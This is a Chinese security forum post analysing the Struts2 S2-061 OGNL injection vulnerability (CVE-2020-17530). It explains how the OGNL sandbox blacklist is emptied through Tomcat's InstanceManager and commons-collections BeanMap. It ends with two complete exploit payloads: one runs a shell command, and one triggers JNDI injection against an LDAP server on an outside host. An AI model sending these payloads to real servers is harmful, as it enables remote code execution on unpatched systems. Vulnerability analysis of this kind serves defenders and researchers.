安全矩阵

 找回密码
 立即注册
搜索
查看: 5684|回复: 0

Struts2 s2-061 Poc分析

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-12-16 20:46:02 | 显示全部楼层 |阅读模式
原文链接:Struts2 s2-061 Poc分析

简介

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大

分析

第一次比较认真的接触Ognl语言,下面分析一下Poc过程环境使用vulhub的s2-059环境即可。但是需要修改一下,在pom中新增一个依赖

  1. <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
  2.         <dependency>
  3.             <groupId>commons-collections</groupId>
  4.             <artifactId>commons-collections</artifactId>
  5.             <version>3.2.2</version>
  6.         </dependency>
复制代码

已知Ongl沙盒的限制如下

  • 无法new一个对象
  • 无法调用黑名单类和包的方法、属性
  • 无法调用静态方法
  • 无法直接执行命令
  • 无法调用方法属性非public的方法

ognl没有限制的操作

  • 对象属性 setter/getter(public) 赋/取值,可以访问静态属性。
  • 已实例类的方法调用( OgnlContext 中的对象),不允许调用静态方法

idea中可以通过ActionContext.actionContext.get()去获取ognl的context,方便我们调试。

2.1 绕过new创建对象

在context的application中,org.apache.tomcat.SimpleInstanceManager的实例代码如下,可以实例化一个无参构造函数。

  1. @Override
  2.     public Object newInstance(String className) throws IllegalAccessException,
  3.             InvocationTargetException, NamingException, InstantiationException,
  4.             ClassNotFoundException, NoSuchMethodException  {
  5.         Class<?> clazz = Thread.currentThread().getContextClassLoader().loadClass(className);
  6.         return prepareInstance(clazz.getConstructor().newInstance());
  7.     }
复制代码

2.2 获取ognl context

因为ognl的securityMemberAccess中,存放黑名单,我们需要将黑名单置空,以达到任意调用类的目的。

我们可以看一下org.apache.commons.collections.BeanMap 这个类。这个类存在无参公开的构造方法,可以被上一步绕过限制创建对象使用。

该类将任意对象转换为类似bean的操作,通过get/set 操作去调用对象的getxxx函数,setxxx函数。

  1. public Object get(Object name) {
  2.         if ( bean != null ) {
  3.             Method method = getReadMethod( name );

  4.             return method.invoke( bean, NULL_ARGUMENTS );
复制代码
而ognl的stackValue对象,恰好存在getContext方法,而stackValue我们也可以在context中访问
  1. BeanMap b = new BeanMap();
  2. b.setBean(ActionContext.actionContext.get().getValueStack());
  3. BeanMap c = new BeanMap();
  4. c.setBean(b.get("context"));
复制代码

2.3 清空黑名单

同理,我们可以通过beanMap去调用以下方法以置空黑名单

  1.   public void setExcludeProperties(Set<Pattern> excludeProperties) {
  2.         this.excludeProperties = excludeProperties;
  3.     }

  4.     public void setAcceptProperties(Set<Pattern> acceptedProperties) {
  5.         this.acceptProperties = acceptedProperties;
  6.     }

  7.     public void setExcludedClasses(Set<Class<?>> excludedClasses) {
  8.         this.excludedClasses = excludedClasses;
  9.     }
复制代码
  1. #beanMap.put('excludedClasses',#{})
复制代码

2.4 利用

ognl中,默认已经无法直接调用诸如Runtime等方法去执行命令,代码如下

  1. AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) ||
  2.                  ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
  3.                  MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
  4.                  MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
  5.                  OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
  6.                  Runtime.class.isAssignableFrom(methodDeclaringClass) ||
  7.                  ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
  8.                  ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) ||
  9.                  AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass) )
复制代码

但是,被实例化的类中调用上面的危险操作,并不受影响。

既然上一步我们已经置空黑名单,于是可以去找即存在无参构造函数,又可以命令执行的类
  1. public class Execute implements TemplateMethodModel {
  2.     private static final int OUTPUT_BUFFER_SIZE = 1024;

  3.     public Execute() {
  4.     }

  5.     public Object exec(List arguments) throws TemplateModelException {
  6.         StringBuilder aOutputBuffer = new StringBuilder();
  7.             String aExecute = (String)((String)arguments.get(0));

  8.             Process exec = Runtime.getRuntime().exec(aExecute);
  9.             InputStream execOut = exec.getInputStream();
复制代码

Poc

这个洞没那么严重,其实就是s2-059绕过,大家别想多

发散思维一下,这个beanMap类似于fastjson的命令执行。所以也可以构造一个jndi注入嘛com.sun.rowset.JdbcRowSetImpl 也存在无参构造方法DatasourceName也可以通过beamMap去操作

  1. public void setDataSourceName(String var1) throws SQLException {
  2.         if (this.getDataSourceName() != null) {
  3.             if (!this.getDataSourceName().equals(var1)) {
  4.                 super.setDataSourceName(var1);
  5.                 this.conn = null;
  6.                 this.ps = null;
  7.                 this.rs = null;
  8.             }
  9.         } else {
  10.             super.setDataSourceName(var1);
  11.         }

  12.     }
复制代码
最后通过getAutoCommit触发jndi注入

  1.    public boolean getAutoCommit() throws SQLException {
  2.         return this.conn.getAutoCommit();
  3.     }
复制代码

jndi payload
  1. %{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#rw=#UnicodeSec.newInstance('com.sun.rowset.JdbcRowSetImpl')).(#rw.setDataSourceName('ldap://192.168.3.254:10086/UnicodeSec')).(#rw.getDatabaseMetaData())}
复制代码

命令执行payload
  1. %{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'whoami'}).(#res=#exec.exec(#cmd))}
复制代码

禁止非法,后果自负
欢迎关注公众号:web安全工具库








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 18:50 , Processed in 0.016057 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表